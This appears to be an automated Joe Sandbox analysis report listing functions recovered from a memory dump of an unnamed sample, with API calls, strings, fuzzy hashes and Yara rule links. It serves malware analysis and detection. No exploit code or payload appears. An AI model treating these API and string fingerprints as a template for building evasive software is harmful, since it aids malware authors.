Function 00007FF7C0E8EAA8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00000010,00000010,00000000,00000010,00007FF7C0E8EF05), ref: 00007FF7C0E8EB8E
WriteFile.KERNEL32 ref: 00007FF7C0E8EBC1
GetLastError.KERNEL32 ref: 00007FF7C0E8EBE3

Strings

U, xrefs: 00007FF7C0E8EB6C

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: 94b35a9ebb8fe33294e0bdd0e775bf8e0988a6ef2a86fc1225fbcd9ba36526fe
Instruction ID: a2562f8d84a4c134c28d70d3e56a241387db4cbbf48cdf38e2377958d3011002
Opcode Fuzzy Hash: 94b35a9ebb8fe33294e0bdd0e775bf8e0988a6ef2a86fc1225fbcd9ba36526fe
Instruction Fuzzy Hash: C841A722B1DA8182EB20AF15E4443BAB7A1F788BA4F804131EE4EC7758DF7CE441C790

Function 00007FF7C0EFB454 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

SetWindowPos.USER32 ref: 00007FF7C0EFB556
GetWindowLongW.USER32 ref: 00007FF7C0EFB57B
SetWindowLongPtrW.USER32 ref: 00007FF7C0EFB58E

Strings

SysTreeView32, xrefs: 00007FF7C0EFB512

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: efcadc7bc094786019cbc8bf8bf3fbcf06e95b4321d3c984f5b6707381f7f713
Instruction ID: 8ad255b7a470db96e3fa853a692fdee17370aac8844593710744b0943bf65a76
Opcode Fuzzy Hash: efcadc7bc094786019cbc8bf8bf3fbcf06e95b4321d3c984f5b6707381f7f713
Instruction Fuzzy Hash: BE416E326097918AE770EF18E444B9AB3A1F784764F544335DAA843B99CF3CE885CF90

Function 00007FF7C0EFAB9C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E5932C: CreateWindowExW.USER32 ref: 00007FF7C0E593BC
Part of subcall function 00007FF7C0E5932C: GetStockObject.GDI32 ref: 00007FF7C0E593D9
Part of subcall function 00007FF7C0E5932C: SendMessageW.USER32 ref: 00007FF7C0E593EC

SendMessageW.USER32 ref: 00007FF7C0EFAC80
SetWindowPos.USER32 ref: 00007FF7C0EFACA9
SendMessageW.USER32 ref: 00007FF7C0EFACE0

Strings

SysMonthCal32, xrefs: 00007FF7C0EFABE3

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$Window$CreateObjectStock
String ID: SysMonthCal32
API String ID: 2671490118-1439706946
Opcode ID: fd789cdfff50be9b4411109bcad662b9f9b7c83045e67513290be4d4cd92b5f4
Instruction ID: 91b65266c9fd07d113b1a0ba49b89caadefe2ce9d5ca5d246ce130cb04ae99a4
Opcode Fuzzy Hash: fd789cdfff50be9b4411109bcad662b9f9b7c83045e67513290be4d4cd92b5f4
Instruction Fuzzy Hash: E4417F326086C1CBE730DF15E444B5AF7A0F7887A4F904225EA9947B98DF3CE4858F40

Function 00007FF7C0EFB798 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E5932C: CreateWindowExW.USER32 ref: 00007FF7C0E593BC
Part of subcall function 00007FF7C0E5932C: GetStockObject.GDI32 ref: 00007FF7C0E593D9
Part of subcall function 00007FF7C0E5932C: SendMessageW.USER32 ref: 00007FF7C0E593EC

SendMessageW.USER32 ref: 00007FF7C0EFB8B1
SendMessageW.USER32 ref: 00007FF7C0EFB8C9
DestroyWindow.USER32 ref: 00007FF7C0EFB8D6

Strings

msctls_updown32, xrefs: 00007FF7C0EFB7E3

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyObjectStock
String ID: msctls_updown32
API String ID: 1752125012-2298589950
Opcode ID: 74e3ad92c2baccfb6081841c4f4ce29bd6f6c1edab28d3e774f2eecd82cc7261
Instruction ID: bb89ec28c81fa6adb093d74302b75768382971634f8d27915f2a5033f59f77a9
Opcode Fuzzy Hash: 74e3ad92c2baccfb6081841c4f4ce29bd6f6c1edab28d3e774f2eecd82cc7261
Instruction Fuzzy Hash: 9F31C432A1CB8186EB20EF55E4403AAB360FBC4BA5F908136DA8D83B54CF3CE445CB50

Function 00007FF7C0EFA1F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E5932C: CreateWindowExW.USER32 ref: 00007FF7C0E593BC
Part of subcall function 00007FF7C0E5932C: GetStockObject.GDI32 ref: 00007FF7C0E593D9
Part of subcall function 00007FF7C0E5932C: SendMessageW.USER32 ref: 00007FF7C0E593EC

SendMessageW.USER32 ref: 00007FF7C0EFA2E4
SendMessageW.USER32 ref: 00007FF7C0EFA2F8
MoveWindow.USER32 ref: 00007FF7C0EFA328

Strings

Listbox, xrefs: 00007FF7C0EFA23D

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$Window$CreateMoveObjectStock
String ID: Listbox
API String ID: 3747482310-2633736733
Opcode ID: 4629ce28c24575fa998f22937708fe0feac1f339ddb28addb223e5ca3634c4d7
Instruction ID: 8e68f4de5da35f6ec9f6c1cc3f3e02841aa5e781309568449c7dd3c373126c13
Opcode Fuzzy Hash: 4629ce28c24575fa998f22937708fe0feac1f339ddb28addb223e5ca3634c4d7
Instruction Fuzzy Hash: 25313B366097C1C6E770DF15B444A5AB7A1F7887A4F908225EEA903B98CB3DE481CF50

Function 00007FF7C0ED4DF8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF7C0ED4E29
GetVolumeInformationW.KERNEL32 ref: 00007FF7C0ED4E9F
SetErrorMode.KERNEL32 ref: 00007FF7C0ED4F0E

Strings

%lu, xrefs: 00007FF7C0ED4EB0

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: 672d97fc72a5ca8b35a6a563d603e89b9dfb37273f5f93e5ec3f9e9d545e6ea4
Instruction ID: ae36bf16d33fb4679fe296d4512a2bff27bb70c936d358af77e7049fe2866bd4
Opcode Fuzzy Hash: 672d97fc72a5ca8b35a6a563d603e89b9dfb37273f5f93e5ec3f9e9d545e6ea4
Instruction Fuzzy Hash: 8231AD76608B8686DB10FF16E4801ADB3A1FB89BE4F844031EA8D83B65DF7CE595C750

Function 00007FF7C0EFB104 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E5932C: CreateWindowExW.USER32 ref: 00007FF7C0E593BC
Part of subcall function 00007FF7C0E5932C: GetStockObject.GDI32 ref: 00007FF7C0E593D9
Part of subcall function 00007FF7C0E5932C: SendMessageW.USER32 ref: 00007FF7C0E593EC

SendMessageW.USER32 ref: 00007FF7C0EFB1BE
SendMessageW.USER32 ref: 00007FF7C0EFB1DA
SendMessageW.USER32 ref: 00007FF7C0EFB1EF

Strings

msctls_trackbar32, xrefs: 00007FF7C0EFB14B

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: msctls_trackbar32
API String ID: 1025951953-1010561917
Opcode ID: d23565779f05c86e88825c5223c790f228a79c76439431c452903b53a7f93148
Instruction ID: 9aee0b79a0742a8252ae66d8cc47e1f2dcf099551abeb1332dcf93f51db90884
Opcode Fuzzy Hash: d23565779f05c86e88825c5223c790f228a79c76439431c452903b53a7f93148
Instruction Fuzzy Hash: 22312A32A19681CBE760EF15E544B5AB7A1FB88BA0F904235EB9843B54CF3CE845CF54

Function 00007FF7C0EBF5CC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EBF378: SendMessageTimeoutW.USER32 ref: 00007FF7C0EBF3A8
Part of subcall function 00007FF7C0EBF378: GetWindowThreadProcessId.USER32 ref: 00007FF7C0EBF3B8
Part of subcall function 00007FF7C0EBF378: GetCurrentThreadId.KERNEL32 ref: 00007FF7C0EBF3C0
Part of subcall function 00007FF7C0EBF378: AttachThreadInput.USER32 ref: 00007FF7C0EBF3E5

GetFocus.USER32 ref: 00007FF7C0EBF605

Part of subcall function 00007FF7C0EBF3F4: GetParent.USER32 ref: 00007FF7C0EBF407

GetClassNameW.USER32 ref: 00007FF7C0EBF656
EnumChildWindows.USER32 ref: 00007FF7C0EBF684

Part of subcall function 00007FF7C0EBF378: GetWindowThreadProcessId.USER32 ref: 00007FF7C0EBF3D0
Part of subcall function 00007FF7C0EBF378: GetCurrentThreadId.KERNEL32 ref: 00007FF7C0EBF3D8

Strings

%s%d, xrefs: 00007FF7C0EBF691

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachChildClassEnumFocusInputMessageNameParentSendTimeoutWindows
String ID: %s%d
API String ID: 2330185562-1110647743
Opcode ID: 4f7089e3504d96f16b1fb726daf46c0f00a77062a3aa85cf481a60796f0195a0
Instruction ID: 328894efca934470e9d467e9f76fae355c93b1904613f8809ec649269730f7bf
Opcode Fuzzy Hash: 4f7089e3504d96f16b1fb726daf46c0f00a77062a3aa85cf481a60796f0195a0
Instruction Fuzzy Hash: 0F218E31A08B8291EA14FF26E4442FAA361BB49BE0F844131DE9D83765DF2CF245C3A0

Function 00007FF7C0E78782 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E77130: __vcrt_getptd_noexit.LIBVCRUNTIME ref: 00007FF7C0E77134

__DestructExceptionObject.LIBVCRUNTIME ref: 00007FF7C0E787AA
RaiseException.KERNEL32 ref: 00007FF7C0E787D3
__DestructExceptionObject.LIBVCRUNTIME ref: 00007FF7C0E78834

Strings

csm, xrefs: 00007FF7C0E78807

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Exception$DestructObject$Raise__vcrt_getptd_noexit
String ID: csm
API String ID: 2280078643-1018135373
Opcode ID: f3b44f69e9663573439d22a4e4da11b073c1d9211702bf15dcc91806c3a7fe41
Instruction ID: 86ac3e75ca9c44eae6d6d6ef32cc242a846e1a20e7a05c036fce59ba163c591c
Opcode Fuzzy Hash: f3b44f69e9663573439d22a4e4da11b073c1d9211702bf15dcc91806c3a7fe41
Instruction Fuzzy Hash: 9F21503664864182E634FF1AE54416EB761F794BB4F800225DE8D43B95CF3CF886CB91

Function 00007FF7C0ECC110 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF7C0ECC14F
DeviceIoControl.KERNEL32 ref: 00007FF7C0ECC1CB
CloseHandle.KERNEL32 ref: 00007FF7C0ECC1D6

Strings

0, xrefs: 00007FF7C0ECC1AC

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID: 0
API String ID: 33631002-4108050209
Opcode ID: 122fac756a3aebd614dbe24bd4d9d3fcd08661cb9d9b68eb4b308195107418d6
Instruction ID: e2ceac7e5af8c62f87ea3e65cb81e9a8c2eef2d66710f0a94cc4d288fa6d0157
Opcode Fuzzy Hash: 122fac756a3aebd614dbe24bd4d9d3fcd08661cb9d9b68eb4b308195107418d6
Instruction Fuzzy Hash: 0B21A332618B80CAD320DF25E48469EB7B4F388BA4F544226EB9D43B94CF3DD655CB40

Function 00007FF7C0EEAF20 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF7C0EB2DD1), ref: 00007FF7C0EEAF37
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF7C0EB2DD1), ref: 00007FF7C0EEAF4F

Strings

kernel32.dll, xrefs: 00007FF7C0EEAF30
GetSystemWow64DirectoryW, xrefs: 00007FF7C0EEAF45

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: b553b98cf413c0522d0a8d0790f0dad2998fa959ac13788e6be9999dd8a5b612
Instruction ID: a31be7bcb218037071a92d9374d8b1009afeb3679e4da1c2b7238ec0e02c0de3
Opcode Fuzzy Hash: b553b98cf413c0522d0a8d0790f0dad2998fa959ac13788e6be9999dd8a5b612
Instruction Fuzzy Hash: 07F09861A19F0681EF19EF64E454364A3A4FB08B69FD40439C91D86364EFBCF998C3A0

Function 00007FF7C0E56D1C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7C0E56D33
GetProcAddress.KERNEL32 ref: 00007FF7C0E56D4B

Strings

Wow64RevertWow64FsRedirection, xrefs: 00007FF7C0E56D41
kernel32.dll, xrefs: 00007FF7C0E56D2C

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: f93d3ff0ce366ab95d7e6c8a1355595afc9dd02f208f5495b2fec8b10b31cda7
Instruction ID: 0f4eb82f31a5c2e3c2adf24cb20ca6c09ad684bc1dccf411a6c2ccece218bce0
Opcode Fuzzy Hash: f93d3ff0ce366ab95d7e6c8a1355595afc9dd02f208f5495b2fec8b10b31cda7
Instruction Fuzzy Hash: 9DE0ED25A09F0682EF15BF20E4143A863E5FB18BACFC40834C91D86364EFBCE594C390

Function 00007FF7C0EF10C8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,00007FF7C0EEFCA6), ref: 00007FF7C0EF10DF
GetProcAddress.KERNEL32(?,?,?,00007FF7C0EEFCA6), ref: 00007FF7C0EF10F7

Strings

RegDeleteKeyExW, xrefs: 00007FF7C0EF10ED
advapi32.dll, xrefs: 00007FF7C0EF10D8

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 88aa4d55391e805054e25835240c34e867389002f23d272af78df165a122bac4
Instruction ID: 315324c6479ee5fbe9c4d32e1a62f413bcadd4c099f84b32db3e54d075cf9987
Opcode Fuzzy Hash: 88aa4d55391e805054e25835240c34e867389002f23d272af78df165a122bac4
Instruction Fuzzy Hash: 28E0ED21A1AB0685FF15AF20E41536863A1FB48B69FD80435C91DC5350EFBCE5D5C390

Function 00007FF7C0EE7634 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,00007FF7C0EE7124), ref: 00007FF7C0EE764B
GetProcAddress.KERNEL32(?,?,?,00007FF7C0EE7124), ref: 00007FF7C0EE7663

Strings

kernel32.dll, xrefs: 00007FF7C0EE7644
GetModuleHandleExW, xrefs: 00007FF7C0EE7659

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 9d631b409b72dc16789edb0ad8e091fb1f9f1d2362d8f0f21b849f1d793f88a0
Instruction ID: 313aab391ea5ff6d6738854a1eff36500cd04c555b1f9c4108ad57b6219fa4cd
Opcode Fuzzy Hash: 9d631b409b72dc16789edb0ad8e091fb1f9f1d2362d8f0f21b849f1d793f88a0
Instruction Fuzzy Hash: 0EE06D61909F0681EF05AF61E80432863E0FB08B6CFC40434C91D81350EFBCE698C3A0

Function 00007FF7C0EC32F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7C0EC330B
GetProcAddress.KERNEL32 ref: 00007FF7C0EC3323

Strings

kernel32.dll, xrefs: 00007FF7C0EC3304
GetNativeSystemInfo, xrefs: 00007FF7C0EC3319

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 9c402017b67deeecdf71e3c2df55c45970ec8440a50b34eba4d95c6c8b29e614
Instruction ID: 7c98d87bc8073f3857c187d01eb857b24bf43c485cddfc394c5d4e242f74b060
Opcode Fuzzy Hash: 9c402017b67deeecdf71e3c2df55c45970ec8440a50b34eba4d95c6c8b29e614
Instruction Fuzzy Hash: 56E0ED65909B0281EF16AF24E414368A3E1FB08B68FC40435C92D86350EFBDE594C390

Function 00007FF7C0EBB7E4 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
